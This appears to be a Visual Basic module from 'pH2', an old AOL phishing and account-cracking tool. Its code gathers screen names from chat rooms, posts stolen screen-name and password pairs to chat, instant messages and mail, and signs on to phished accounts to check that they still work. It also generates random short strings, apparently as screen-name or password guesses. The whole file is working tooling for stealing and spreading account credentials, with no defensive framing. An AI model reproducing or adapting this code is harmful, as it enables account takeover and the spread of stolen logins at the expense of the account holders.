aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
fWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
fList& = FindWindowEx(fWin&, 0&, "_AOL_Listbox", vbNullString)
Call SendMessage(fList&, LB_SETCURSEL, Index&, 0&)
Call PostMessage(fList&, WM_LBUTTONDBLCLK, 0&, 0&)
pause (4)
End Sub
Public Sub WhosChattingGatherRight(Index As Long, list As ListBox)
'this uses the Find A Chat window on aol
'it will click a certain list item [using Index]
'and then it will click the "who's chatting" icon,
'it will wait for the window to come up, and it
'will add the screen names to a listbox [List]
'
'i wouldn't try to use this sub
'just stick to the "WhosChattingGather" sub -=D
Dim aol As Long, mdi As Long, fWin As Long, fList As Long, fCount As Long
Dim fIcon As Long, lngicon As Long
Dim wWin As Long, wList As Long, wCount As Long
Dim mWin As Long, mBut As Long, mSta As Long, mStr As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
fWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
fList& = FindWindowEx(fWin&, 0&, "_AOL_Listbox", vbNullString)
fList& = FindWindowEx(fWin&, fList&, "_AOL_Listbox", vbNullString)
fIcon& = FindWindowEx(fWin&, 0&, "_AOL_Icon", vbNullString)
For lngicon = 1 To 8
fIcon& = FindWindowEx(fWin&, fIcon&, "_AOL_Icon", vbNullString)
Next lngicon
GatherSameRoom:
Call SendMessage(fList&, LB_SETCURSEL, Index&, 0&)
Call SendMessage(fIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(fIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
wWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Who's Chatting")
wList& = FindWindowEx(wWin&, 0&, "_AOL_Listbox", vbNullString)
wCount& = SendMessage(wList&, LB_GETCOUNT, 0&, 0&)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
mSta& = FindWindowEx(mWin&, 0&, "Static", vbNullString)
mSta& = FindWindowEx(mWin&, mSta&, "Static", vbNullString)
mStr$ = GetText(mSta&)
Loop Until wWin& <> 0& And wList& <> 0& And wCount& <> 0& Or mWin& <> 0& And mBut& <> 0& And mStr$ <> ""
If mWin& <> 0& Then
If InStr(1, mStr$, "requests too quickly.") <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
pause (GetFromINI("ph2", "over limit pause", App.Path + "\ph2.ini"))
GoTo GatherSameRoom
ElseIf InStr(1, mStr$, "empty") <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
pause (GetFromINI("ph2", "empty pause", App.Path + "\ph2.ini"))
End If
Exit Sub
End If
Call AddAOLList(wList&, list)
Call PostMessage(wWin&, WM_CLOSE, 0&, 0&)
Do
DoEvents
wWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Who's Chatting")
Loop Until wWin& = 0&
End Sub
Public Function WhosChattingLCount() As Long
'returns the listcount of the
'left listbox on aol's find a chat window
Dim aol As Long, mdi As Long, fWin As Long, fList As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
fWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
fList& = FindWindowEx(fWin&, 0&, "_AOL_Listbox", vbNullString)
WhosChattingLCount = SendMessage(fList&, LB_GETCOUNT, 0&, 0&)
End Function
Public Function WhosChattingRCount() As Long
'returns the listcount of the
'right listbox on aol's find a chat window
Dim aol As Long, mdi As Long, fWin As Long, fList As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
fWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Find a Chat")
fList& = FindWindowEx(fWin&, 0&, "_AOL_Listbox", vbNullString)
fList& = FindWindowEx(fWin&, fList&, "_AOL_Listbox", vbNullString)
WhosChattingRCount = SendMessage(fList&, LB_GETCOUNT, 0&, 0&)
End Function
Public Sub WriteToINI(AppName As String, KeyName As String, Value As String, FileName As String)
'writes to ini
'i might write an example
'on how to use ini's
'a little bit later
Call WritePrivateProfileString(AppName$, LCase$(KeyName$), Value$, FileName$)
End Sub
Public Sub SendPhishChatAll(List1 As ListBox, List2 As ListBox, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling all " + Typee$ + " accts")
Pause2 (0.6)
For i = 0 To List1.ListCount - 1
Call ChatSend("• pH2 · " & (i + 1) & " · " + List1.list(i) + ":" + List2.list(i) + "")
Pause2 (0.6)
Next i
Call ChatSend("• pH2 · Scrolled all " + Typee$ + " accts")
End Sub
Public Sub SendSNChatAll(List1 As ListBox, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling all " + Typee$ + " sns")
Pause2 (0.6)
For i = 0 To List1.ListCount - 1
Call ChatSend("• pH2 · " & (i + 1) & " · " + List1.list(i) + "")
Pause2 (0.6)
Next i
Call ChatSend("• pH2 · Scrolled all " + Typee$ + " sns")
End Sub
Public Sub SendPhishChatString(List1 As ListBox, List2 As ListBox, pString As String, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling string: " + pString$)
For i = 0 To List1.ListCount - 1
If InStr(1, List1.list(i), pString$) <> 0& Then
Call ChatSend("• pH2 · " + List1.list(i) + ":" + List2.list(i) + "")
Pause2 (0.6)
End If
Next i
Call ChatSend("• pH2 · Scrolled string: " + pString$)
End Sub
Public Sub SendSNChatString(List1 As ListBox, pString As String, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling string: " + pString$)
For i = 0 To List1.ListCount - 1
If InStr(1, List1.list(i), pString$) <> 0& Then
Call ChatSend("• pH2 · " + List1.list(i) + "")
Pause2 (0.6)
End If
Next i
Call ChatSend("• pH2 · Scrolled string: " + pString$)
End Sub
Public Sub SendPhishChatSelected(List1 As ListBox, List2 As ListBox, Typee As String)
If List1.ListIndex = -1 Then Exit Sub
Call ChatSend("• pH2 · Scrolling " + Typee$)
Call ChatSend("• pH2 · " + List1.list(List1.ListIndex) + ":" + List2.list(List2.ListIndex) + "")
End Sub
Public Sub SendSNChatSelected(List1 As ListBox, Typee As String)
If List1.ListIndex = -1 Then Exit Sub
Call ChatSend("• pH2 · scrolling " + Typee$ + " sn")
Call ChatSend("• pH2 · " + List1.list(List1.ListIndex) + "")
End Sub
Public Sub SendPhishChatNumber(List1 As ListBox, List2 As ListBox, number As Long, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling number: " & number&)
For i = 0 To List1.ListCount - 1
Call ChatSend("• " & (i + 1) & " · " & List1.list(i) & ":" & List2.list(i) & "")
Pause2 (0.6)
If (i + 1) = number& Then Exit For
Next i
Call ChatSend("• pH2 · Scrolled number: " & number&)
End Sub
Public Sub SendSNChatNumber(List1 As ListBox, number As Long, Typee As String)
Dim i As Long
Call ChatSend("• pH2 · Scrolling number: " & number&)
For i = 0 To List1.ListCount - 1
Call ChatSend("• " & (i + 1) & " · " & List1.list(i) & "")
Pause2 (0.6)
If (i + 1) = number& Then Exit For
Next i
Call ChatSend("• pH2 · Scrolled number: " & number&)
End Sub
Public Sub SendPhishIMAll(List1 As ListBox, List2 As ListBox, screenname As String, Typee As String)
Dim imString As String, i As Long
imString$ = "• pH2 · All " + Typee$ + " accts"
For i = 0 To List1.ListCount - 1
imString$ = imString$ + vbCrLf + "• " & (i + 1) & " · " & List1.list(i) & ":" & List2.list(i) & ""
Next i
Call InstantMessage(screenname$, imString$)
End Sub
Public Sub SendSNIMAll(List1 As ListBox, screenname As String, Typee As String)
Dim imString As String, i As Long
imString$ = "• pH2 · All " + Typee$ + " sns"
For i = 0 To List1.ListCount - 1
imString$ = imString$ + vbCrLf + "• " & (i + 1) & " · " & List1.list(i) & ""
Next i
Call InstantMessage(screenname$, imString$)
End Sub
Public Sub SendPhishIMSelected(List1 As ListBox, List2 As ListBox, screenname As String, Typee As String)
Dim i As Long
i = List1.ListIndex
If i = -1 Then Exit Sub
Call InstantMessage(screenname$, "• pH2 · " + Typee$ + " · " & List1.list(i) & ":" & List2.list(i) & "")
End Sub
Public Sub SendSNIMSelected(List1 As ListBox, screenname As String, Typee As String)
Dim i As Long
i = List1.ListIndex
If i = -1 Then Exit Sub
Call InstantMessage(screenname$, "• pH2 · " + Typee$ + " · " & List1.list(i) & "")
End Sub
Public Sub SendPhishMailAll(List1 As ListBox, List2 As ListBox, screenname As String, Typee As String)
Dim imString As String, i As Long
imString$ = "• pH2 · All " + Typee$ + " accts"
For i = 0 To List1.ListCount - 1
imString$ = imString$ + vbCrLf + "• " & (i + 1) & " · " & List1.list(i) & ":" & List2.list(i) & ""
Next i
Call SendMail(screenname$, "• pH2 · All " + Typee$ + " accts", imString$)
End Sub
Public Sub SendSNMailAll(List1 As ListBox, screenname As String, Typee As String)
Dim imString As String, i As Long
imString$ = "• pH2 · all " + Typee$ + " sns"
For i = 0 To List1.ListCount - 1
imString$ = imString$ + vbCrLf + "• " & (i + 1) & " · " & List1.list(i) & ""
Next i
Call SendMail(screenname$, "• pH2 · all " + Typee$ + " sns", imString$)
End Sub
Public Sub SendPhishMailSelected(List1 As ListBox, List2 As ListBox, screenname As String, Typee As String)
Dim i As Long
i = List1.ListIndex
If i = -1 Then Exit Sub
Call SendMail(screenname$, "• pH2 · 1 " + Typee$ + " sn", "• pH2 · " + Typee$ + " · " & List1.list(i) & ":" & List2.list(i) & "")
End Sub
Public Sub SendSNMailSelected(List1 As ListBox, screenname As String, Typee As String)
Dim i As Long
i = List1.ListIndex
If i = -1 Then Exit Sub
Call SendMail(screenname$, "• pH2 · 1 " + Typee$ + " sn", "• pH2 · " + Typee$ + " · " & List1.list(i) & "")
End Sub
Public Sub EditPhish(List1 As ListBox, List2 As ListBox)
Dim Index As Long, NewSN As String, newpw As String
If List1.ListCount = 0& Or List1.ListIndex = -1 Then Exit Sub
Index& = List1.ListIndex
NewSN$ = InputBox("enter the new sn you want to use:", "edit account", List1.list(Index))
If NewSN$ = "" Then Exit Sub
newpw$ = InputBox("enter the new pw you want to use:", "edit account", List2.list(Index))
If newpw$ = "" Then Exit Sub
List1.list(Index) = NewSN$
List2.list(Index) = newpw$
End Sub
Public Sub PhishInfo(List1 As ListBox, List2 As ListBox, Typee As String, frm As Form)
Dim strPhish As String, i As Long
i = List1.ListIndex
If i = -1 Then Exit Sub
strPhish$ = "screen name: " + Chr(9) + List1.list(i) + vbCrLf
strPhish$ = strPhish$ + "password: " + Chr(9) + List2.list(i) + vbCrLf
strPhish$ = strPhish$ + "-------------------------" + vbCrLf
strPhish$ = strPhish$ + "type: " + Chr(9) + Chr(9) + Typee$ + vbCrLf
strPhish$ = strPhish$ + "index: " + Chr(9) + Chr(9) & (i + 1) & "/" & List1.ListCount & "" + vbCrLf
strPhish$ = strPhish$ + "-------------------------" + vbCrLf
If Typee$ = "guide" Or Typee$ = "host" Or Typee$ = "emp" Then
strPhish$ = strPhish$ + "empowered?: " + Chr(9) + "yes" + vbCrLf
Else
strPhish$ = strPhish$ + "empowered?: " + Chr(9) + "no" + vbCrLf
End If
strPhish$ = strPhish$ + "-------------------------" + vbCrLf
strPhish$ = strPhish$ + "length of sn: " + Chr(9) & Len(List1.list(i)) & vbCrLf
strPhish$ = strPhish$ + "length of pw: " + Chr(9) & Len(List2.list(i)) & vbCrLf
strPhish$ = strPhish$ + "-------------------------" + vbCrLf
If Len(List1.list(i)) > 16 Then
strPhish$ = strPhish$ + "valid sn length: " + Chr(9) + "no" + vbCrLf
Else
strPhish$ = strPhish$ + "valid sn length: " + Chr(9) + "yes" + vbCrLf
End If
If Len(List2.list(i)) > 8 Or Len(List2.list(i)) < 4 Then
strPhish$ = strPhish$ + "valid pw length: " + Chr(9) + "no" + vbCrLf
Else
strPhish$ = strPhish$ + "valid pw length: " + Chr(9) + "yes" + vbCrLf
End If
frm.WindowState = 1
frm.SetFocus
MsgBox strPhish$, vbInformation + vbOKOnly, "ph2 phish info"
frm.WindowState = 0
End Sub
Public Sub PhishMassAlive(List1 As ListBox, List2 As ListBox, Typee As String)
Dim i As Long, Room As String, mWin As Long, mBut As Long
Dim noModal As Long, NoButton As Long
Room$ = GetText(FindRoom&)
Call ChatSend("• pH2 · Mass alive activated")
For i& = 0 To List1.ListCount - 1
If i& = List1.ListCount Then Exit For
If PWC4(List1.list(i&), List2.list(i&)) = False Then
List1.RemoveItem i&
List2.RemoveItem i&
i& = i& - 1
Else
Call AddLogOn
If Room$ <> "" And GetUser$ <> "" Then
If AOLVersion = "4" Or AOLVersion = "5" Then
Call ToolKeyword("aol://2719:2-2-" + Room$)
Else
Call KeyWord25("aol://2719:2-2-" + Room$)
End If
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
noModal& = FindWindow("_AOL_Modal", vbNullString)
NoButton& = FindWindowEx(noModal&, 0&, "_AOL_Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0& Or noModal& <> 0& And NoButton& <> 0& Or LTrim(GetText(FindRoom&)) = LTrim(Room$)
If FindRoom& <> 0& Then
If (i& + 1) = List1.ListCount Then
Call ChatSend("• pH2 · Mass alive complete")
Else
Call ChatSend("• pH2 · Mass alive " & (i& + 1) & "/" & List1.ListCount & "")
End If
ElseIf noModal& <> 0& Then
Call PostMessage(NoButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(NoButton&, WM_KEYUP, VK_SPACE, 0&)
End If
End If
End If
Next i
End Sub
Public Sub PhishSignOnAll(List1 As ListBox, List2 As ListBox, Typee As String)
Dim i As Long, Room As String, mWin As Long, mBut As Long, SignOnLog As String
Dim Line1 As String, Line2 As String, Line3 As String, line4 As String
Dim line5 As String, Line6 As String, Line7 As String, Line8 As String
Dim NewPassword As String
Room$ = GetText(FindRoom&)
Call ChatSend("• pH2 · S/O All Activated · " + Typee$)
For i& = 0 To List1.ListCount - 1
If i& = List1.ListCount Then Exit For
If PWC4(List1.list(i&), List2.list(i&)) = False Then
List1.RemoveItem i&
List2.RemoveItem i&
i& = i& - 1
Else
If GetUser$ <> "" Then
Call AddLogOn
If Room$ <> "" Then
If AOLVersion = "4" Or AOLVersion = "5" Then
Call ToolKeyword("aol://2719:2-2-" + Room$)
Else
Call KeyWord25("aol://2719:2-2-" + Room$)
End If
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0& Or LTrim(GetText(FindRoom&)) = LTrim(Room$)
If FindRoom& <> 0& Then
If (i& + 1) = List1.ListCount Then
Call ChatSend("• pH2 · S/O All Complete")
Else
Call ChatSend("• pH2 · S/O All · " & (i& + 1) & "/" & List1.ListCount & "")
End If
End If
End If
End If
End If
Next i
If FindInvalidPW& <> 0& Then
Call PostMessage(FindWindowEx(FindInvalidPW&, 0&, "_AOL_Button", "Cancel"), WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(FindWindowEx(FindInvalidPW&, 0&, "_AOL_Button", "Cancel"), WM_KEYUP, VK_SPACE, 0&)
End If
Call SignOff
End Sub
Public Sub KaiSignOn(List1 As ListBox, List2 As ListBox, Method As String, Typee As String)
Dim Index As Long, lngSignOn As Long, Room As String, mWin As Long, mBut As Long, TimeTaken As Double, StartTime As Double, SignOnLog As String, noModal As Long, NoButton As Long
Dim OldTime As String, strTimeTaken As String, handle As String, newpw As String
Dim Line1 As String, Line2 As String, Line3 As String, line4 As String, line5 As String, Line6 As String, Line7 As String, Line8 As String
Dim Returned As String, strKW As String
'aol://2719:3-2214-
Index& = List1.ListIndex
If Index& = -1 Then Exit Sub
handle$ = GetFromINI("ph2", "handle", App.Path + "\ph2.ini")
Room$ = GetText(FindRoom&)
If Room$ = "" Then
Room$ = GetFromINI("ph2", "pr", App.Path + "\ph2.ini")
Returned$ = "Entered"
Else
Returned$ = "Returned"
End If
If LTrim(Room$) = "albuquerquechat" Then
strKW$ = "aol://2719:3-2214-"
Else
strKW$ = "aol://2719:2-2-"
End If
'Call ChatSend("• pH2 · s/o " + Typee$ + ": " + List1.List(Index&) + " · " + Method$ + "")
Call ChatSend("• e-tank · account switch · " + Method$ + "")
StartTime = Timer
Select Case LCase(Method$)
Case "guest"
lngSignOn& = GuestSignOn(List1.list(Index&), List2.list(Index&))
Case "temp"
lngSignOn& = TempSignOn(List1.list(Index&), List2.list(Index&))
Case "quick"
lngSignOn& = SignOnQuick(List1.list(Index&), List2.list(Index&))
End Select
If lngSignOn& = 1& Then
If InStr(1, (Timer - StartTime), ".") <> 0& Then
TimeTaken = Left((Timer - StartTime) - 1, InStr(1, (Timer - StartTime), ".") + 2)
Else
TimeTaken = (Timer - StartTime) - 1
End If
Call AddLogOn
Call MsgKill
Call ModalKill
If Room$ <> "" And LCase(Typee$) <> "jacked" Then
If AOLVersion = "4" Or AOLVersion = "5" Then
Call ToolKeyword(strKW$ + "" + Room$)
GoTo AfterKW
End If
Do
DoEvents
Call Keyword(strKW$ + "" + Room$)
AfterKW:
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
noModal& = FindWindow("_AOL_Modal", vbNullString)
NoButton& = FindWindowEx(noModal&, 0&, "_AOL_Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0& Or noModal& <> 0& And NoButton& <> 0& Or LTrim(GetText(FindRoom&)) = LTrim(Room$)
If mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
ElseIf noModal& <> 0& Then
Call PostMessage(NoButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(NoButton&, WM_KEYUP, VK_SPACE, 0&)
Else
End If
Loop Until LTrim(GetText(FindRoom&)) = LTrim(Room$)
strTimeTaken = Str(TimeTaken)
OldTime$ = GetFromINI("ph2", "signon", App.Path + "\ph2.ini")
If OldTime$ = "" Then
Call ChatSend("• pH2 · New Fastest Signon Time")
Call ChatSend("• pH2 · Old: none · New: " & TimeTaken & "s")
Call WritePrivateProfileString("ph2", "signon", strTimeTaken, App.Path + "\ph2.ini")
ElseIf TimeTaken < Val(OldTime$) Then
Call ChatSend("• pH2 · New Fastest Signon Time")
Call ChatSend("• pH2 · Old: " & OldTime$ & " · New: " & TimeTaken & "s")
Call WritePrivateProfileString("ph2", "signon", strTimeTaken, App.Path + "\ph2.ini")
Else
If Returned$ = "" Then Returned$ = "Entered"
Call ChatSend("• pH2 · " + handle$ + " Has " + Returned$ + " · " + Method$ + " " & TimeTaken & "s")
End If
End If
ElseIf lngSignOn& = 2 Then
MsgBox List1.list(Index&) + " has an invalid password.", vbCritical + vbOKOnly, "ph2"
List1.RemoveItem Index&
List2.RemoveItem Index&
ElseIf lngSignOn& = 3 Then
MsgBox List1.list(Index&) + " is currently signed on.", vbInformation + vbOKOnly, "ph2"
ElseIf lngSignOn& = 4 Then
MsgBox List1.list(Index&) + " is a dead or invalid account.", vbCritical + vbOKOnly, "ph2"
List1.RemoveItem Index&
List2.RemoveItem Index&
ElseIf lngSignOn& = 5 Then
MsgBox List1.list(Index&) + " is an internal account.", vbExclamation + vbOKOnly, "ph2"
End If
End Sub
Public Sub gen4chrs_AAAA(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(25 * Rnd) + 1
fourth& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph$, third&, 1) & Mid(alph$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen6chrs(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim fifth As Long, sixth As Long
Dim alph As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(25 * Rnd) + 1
fourth& = Int(25 * Rnd) + 1
fifth& = Int(25 * Rnd) + 1
sixth& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph$, third&, 1) & Mid(alph$, fourth&, 1) & Mid(alph$, fifth&, 1) & Mid(alph$, sixth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_A1AA(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(25 * Rnd) + 1
fourth& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph$, third&, 1) & Mid(alph$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_AA1A(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(9 * Rnd) + 1
fourth& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph2$, third&, 1) & Mid(alph$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_A11A(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(9 * Rnd) + 1
fourth& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph2$, third&, 1) & Mid(alph$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_A1A1(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(25 * Rnd) + 1
fourth& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph$, third&, 1) & Mid(alph2$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_A111(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(9 * Rnd) + 1
fourth& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph2$, third&, 1) & Mid(alph2$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_AA11(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(9 * Rnd) + 1
fourth& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph2$, third&, 1) & Mid(alph2$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_AAA1(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(25 * Rnd) + 1
fourth& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph$, third&, 1) & Mid(alph2$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen4chrs_All(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long, fourth As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(35 * Rnd) + 1
third& = Int(35 * Rnd) + 1
fourth& = Int(35 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "abcdefghijklmnopqrstuvwxyz1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph2$, third&, 1) & Mid(alph2$, fourth&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs_AAA(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs_A1A(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(25 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs_A11(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(9 * Rnd) + 1
third& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph2$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs_AA1(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(25 * Rnd) + 1
third& = Int(9 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph$, scnd&, 1) & Mid(alph2$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Public Sub gen3chrs_All(howmany As Long, list As Control)
Dim lngNum As Long
Dim first As Long, scnd As Long, third As Long
Dim alph As String, alph2 As String
For lngNum& = 1 To howmany&
Randomize
first& = Int(25 * Rnd) + 1
scnd& = Int(35 * Rnd) + 1
third& = Int(35 * Rnd) + 1
alph$ = "abcdefghijklmnopqrstuvwxyz"
alph2$ = "abcdefghijklmnopqrstuvwxyz1234567890"
list.AddItem Mid(alph$, first, 1) & Mid(alph2$, scnd&, 1) & Mid(alph2$, third&, 1)
frmMain.lblTriers.Caption = cformat(list.ListCount)
Next lngNum&
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment